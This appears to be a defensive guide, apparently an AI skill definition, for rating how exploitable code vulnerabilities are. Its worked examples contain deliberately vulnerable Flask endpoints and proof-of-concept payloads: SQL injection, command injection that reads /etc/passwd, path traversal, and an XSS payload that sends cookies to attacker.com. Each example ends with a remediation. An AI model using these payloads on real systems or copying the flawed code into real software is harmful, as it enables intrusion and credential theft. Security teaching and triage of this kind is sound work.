Exploitability Analyzer

Exploitability Analyzer

Assess whether detected vulnerabilities are realistically exploitable.

Overview

This skill analyzes security vulnerabilities to determine if they're actually exploitable in practice. It examines control flow to assess reachability, traces input sources to evaluate controllability, analyzes sanitization logic, and considers execution context to provide realistic exploitability assessments with severity ratings.

How to Use

Provide:

• Vulnerable code: The code containing the vulnerability
• Vulnerability type: SQL injection, XSS, command injection, etc.
• Context: Surrounding code, input sources, sanitization functions
• Environment (optional): Execution privileges, security controls

The skill will analyze:

• Reachability: Can attackers reach the vulnerable code?
• Controllability: Can attackers control the vulnerable input?
• Sanitization: Is input properly sanitized?
• Impact: What damage can be caused?
• Exploitability: Overall assessment (Critical/High/Medium/Low/None)

Analysis Workflow

Step 1: Identify Vulnerability Type

Classify the vulnerability:

• SQL Injection
• Command Injection
• Cross-Site Scripting (XSS)
• Path Traversal
• LDAP Injection
• Other injection types

Step 2: Trace Data Flow

Follow the data from source to sink:

Source: Where does the input originate?

• User input (query params, POST data, headers)
• Database values (second-order injection)
• Configuration files
• Environment variables
• Hardcoded values

Transformations: What happens to the input?

• Validation checks
• Sanitization functions
• Encoding/escaping
• String operations

Sink: Where is the input used dangerously?

• SQL query execution
• System command execution
• HTML rendering
• File system operations

Step 3: Assess Reachability

Question: Can an attacker reach the vulnerable code path?

Critical: Public endpoint, no authentication

High: Authenticated endpoint, common user role

Medium: Requires specific conditions or privileges

Low: Admin-only, internal function, rare code path

None: Dead code, unreachable

Step 4: Evaluate Controllability

Question: Can an attacker control the vulnerable input?

High: Direct user input (GET/POST parameters, headers)

Medium: Indirect control (database, config files)

Low: Derived values, heavily processed

None: Hardcoded, system-generated

Step 5: Analyze Sanitization

Question: Is the input properly sanitized?

None: No sanitization, direct pass-through

Weak: Blacklist filtering, incomplete escaping

Partial: Some sanitization but bypassable

Strong: Whitelist validation, proper escaping, parameterization

Step 6: Determine Impact

Question: What damage can an attacker cause?

Critical: Remote code execution, full system compromise

High: Data breach, privilege escalation, DoS

Medium: Limited data access, information disclosure

Low: Minor information leak, cosmetic issues

Step 7: Calculate Exploitability

Combine factors to determine overall exploitability:

| Reachability | Controllability | Sanitization | Impact | Exploitability |

|--------------|-----------------|--------------|---------|----------------|

| High | High | None | Critical | CRITICAL |

| High | High | Weak | High | HIGH |

| High | High | Partial | Medium | MEDIUM |

| Medium | Medium | Strong | Low | LOW |

| Any | Any | Strong | Any | NONE |

Example: SQL Injection (Critical)

Vulnerable Code:

@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

Analysis:

1. Vulnerability Type: SQL Injection

2. Data Flow:

• Source: request.args.get('username') - user-controlled query parameter
• Transformations: None - direct string formatting
• Sink: cursor.execute(query) - SQL execution

3. Reachability: High

• Public endpoint (/user)
• No authentication required
• Easily accessible via HTTP GET

4. Controllability: High

• Direct user input via query parameter
• Attacker has full control over username value
• No restrictions on input format

5. Sanitization: None

• No input validation
• No escaping or parameterization
• Direct string formatting with f-string
• SQL metacharacters not filtered

6. Impact: Critical

• Full database access possible
• Can extract all user data
• Potential for data modification/deletion
• May enable privilege escalation
• Possible RCE via stored procedures (database-dependent)

7. Exploitability: CRITICAL

Proof-of-Concept:

GET /user?username=' OR '1'='1' --

This bypasses authentication and returns all users.

Advanced Exploit:

GET /user?username=' UNION SELECT password FROM admin_users --

This extracts admin passwords.

Remediation:

@app.route('/user')
def get_user():
    username = request.args.get('username')
    # Use parameterized query
    query = "SELECT * FROM users WHERE username = ?"
    cursor.execute(query, (username,))
    return cursor.fetchone()

Example: Command Injection (High)

Vulnerable Code:

@app.route('/ping')
def ping_host():
    host = request.form.get('host')
    if ';' in host or '|' in host:
        return "Invalid host"
    result = os.system(f"ping -c 4 {host}")
    return f"Ping result: {result}"

Analysis:

1. Vulnerability Type: Command Injection

2. Data Flow:

• Source: request.form.get('host') - user-controlled POST parameter
• Transformations: Blacklist check for ; and |
• Sink: os.system() - shell command execution

3. Reachability: High

• Public endpoint
• POST request (slightly less accessible than GET)
• No authentication

4. Controllability: High

• Direct user input
• Attacker controls host parameter

5. Sanitization: Weak

• Blacklist filtering only checks ; and |
• Incomplete - doesn't block $(), backticks, &&, ||, newlines
• Easily bypassable

6. Impact: Critical

• Remote code execution
• Full system compromise possible
• Depends on execution privileges (web server user)

7. Exploitability: HIGH (not Critical due to weak sanitization that may deter casual attackers)

Proof-of-Concept:

POST /ping
host=$(whoami)

This executes whoami command.

Advanced Exploit:

POST /ping
host=127.0.0.1 && cat /etc/passwd

This reads sensitive files.

Remediation:

import subprocess
import shlex

@app.route('/ping')
def ping_host():
    host = request.form.get('host')
    # Validate input with whitelist
    if not re.match(r'^[a-zA-Z0-9.-]+$', host):
        return "Invalid host"
    # Use subprocess without shell
    result = subprocess.run(['ping', '-c', '4', host],
                          capture_output=True, text=True)
    return f"Ping result: {result.stdout}"

Example: XSS (Medium)

Vulnerable Code:

@app.route('/search')
def search():
    query = request.args.get('q', '')
    results = db.search(query)
    return render_template_string(f"""
        <h1>Search Results for: {query}</h1>
        <ul>
        {% for result in results %}
            <li>{{ result }}</li>
        {% endfor %}
        </ul>
    """, results=results)

Analysis:

1. Vulnerability Type: Cross-Site Scripting (XSS)

2. Data Flow:

• Source: request.args.get('q') - user-controlled query parameter
• Transformations: None
• Sink: render_template_string() - HTML rendering with f-string

3. Reachability: High

• Public search endpoint
• No authentication required

4. Controllability: High

• Direct user input via query parameter
• Attacker controls search query

5. Sanitization: None

• No HTML encoding
• Direct insertion into HTML via f-string
• Jinja2 auto-escaping bypassed by f-string

6. Impact: High

• Session hijacking (steal cookies)
• Phishing attacks
• Defacement
• Keylogging
• Limited by browser security (CSP, HTTPOnly cookies)

7. Exploitability: MEDIUM (assuming modern browser protections)

Proof-of-Concept:

GET /search?q=<script>alert(document.cookie)</script>

This executes JavaScript in victim's browser.

Advanced Exploit:

GET /search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

This exfiltrates session cookies.

Remediation:

from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    results = db.search(query)
    # Use proper template with auto-escaping
    return render_template('search.html',
                         query=escape(query),
                         results=results)

Example: Path Traversal (Low)

Vulnerable Code:

@app.route('/download')
@login_required  # Requires authentication
def download_file():
    filename = request.args.get('file')
    # Blacklist check
    if '..' in filename:
        return "Invalid filename"
    filepath = os.path.join('/var/www/uploads', filename)
    return send_file(filepath)

Analysis:

1. Vulnerability Type: Path Traversal

2. Data Flow:

• Source: request.args.get('file') - user-controlled
• Transformations: Blacklist check for ..
• Sink: send_file() - file system access

3. Reachability: Medium

• Requires authentication (@login_required)
• Accessible to authenticated users
• Not public

4. Controllability: High

• Direct user input
• Attacker controls filename

5. Sanitization: Weak

• Blacklist only checks ..
• Doesn't prevent absolute paths
• Bypassable with URL encoding or alternate representations

6. Impact: Medium

• Information disclosure
• Limited to files readable by web server user
• Cannot execute code directly
• Depends on file system permissions

7. Exploitability: LOW (authentication required + weak but present sanitization)

Proof-of-Concept:

GET /download?file=/etc/passwd

This may read sensitive files if absolute paths work.

Bypass Attempt:

GET /download?file=....//....//etc/passwd

This may bypass the .. check.

Remediation:

import os

@app.route('/download')
@login_required
def download_file():
    filename = request.args.get('file')
    # Whitelist validation
    if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
        return "Invalid filename"
    # Resolve and validate path
    base_dir = '/var/www/uploads'
    filepath = os.path.realpath(os.path.join(base_dir, filename))
    if not filepath.startswith(base_dir):
        return "Access denied"
    return send_file(filepath)

Exploitability Rating Scale

CRITICAL

• Reachable: Public, no auth
• Controllable: Direct user input
• Sanitization: None
• Impact: RCE, full compromise
• Action: Immediate fix required

HIGH

• Reachable: Public or authenticated
• Controllable: Direct or indirect
• Sanitization: Weak or bypassable
• Impact: Data breach, privilege escalation
• Action: Fix urgently (within days)

MEDIUM

• Reachable: Authenticated or conditional
• Controllable: Partial control
• Sanitization: Partial but incomplete
• Impact: Limited data access
• Action: Fix in next release

LOW

• Reachable: Restricted access
• Controllable: Limited control
• Sanitization: Mostly effective
• Impact: Minor information leak
• Action: Fix when convenient

NONE

• Strong sanitization present
• Not reachable by attackers
• No realistic exploitation path
• Action: No immediate action needed

Report Format

For each vulnerability, provide:

VULNERABILITY: <Type> in <Location>

Location: <File:line or endpoint>
Vulnerability Type: <SQL Injection, XSS, etc.>

DATA FLOW:
Source: <Where input comes from>
Transformations: <What happens to input>
Sink: <Where input is used dangerously>

EXPLOITABILITY ASSESSMENT:
Reachability: <Critical/High/Medium/Low/None> - <Explanation>
Controllability: <High/Medium/Low/None> - <Explanation>
Sanitization: <None/Weak/Partial/Strong> - <Explanation>
Impact: <Critical/High/Medium/Low> - <Explanation>

OVERALL EXPLOITABILITY: <CRITICAL/HIGH/MEDIUM/LOW/NONE>

PROOF-OF-CONCEPT:
<Example exploit demonstrating the vulnerability>

IMPACT:
<Detailed description of potential damage>

REMEDIATION:
<Specific code fix or mitigation strategy>

References

Detailed assessment criteria:

• assessment_criteria.md: Comprehensive exploitability assessment framework with matrices for each vulnerability type

Load this reference when:

• Need detailed criteria for specific vulnerability types
• Want to see exploitability matrices
• Need more examples of each assessment factor

Tips

• Trace data flow completely: Follow input from source to sink
• Don't assume sanitization works: Test for bypasses
• Consider execution context: Privileges matter for impact
• Check for defense in depth: Multiple protections reduce exploitability
• Verify reachability: Dead code isn't exploitable
• Test proof-of-concepts: Confirm exploitability when possible
• Consider real-world constraints: Authentication, rate limiting, monitoring
• Prioritize by exploitability: Fix critical issues first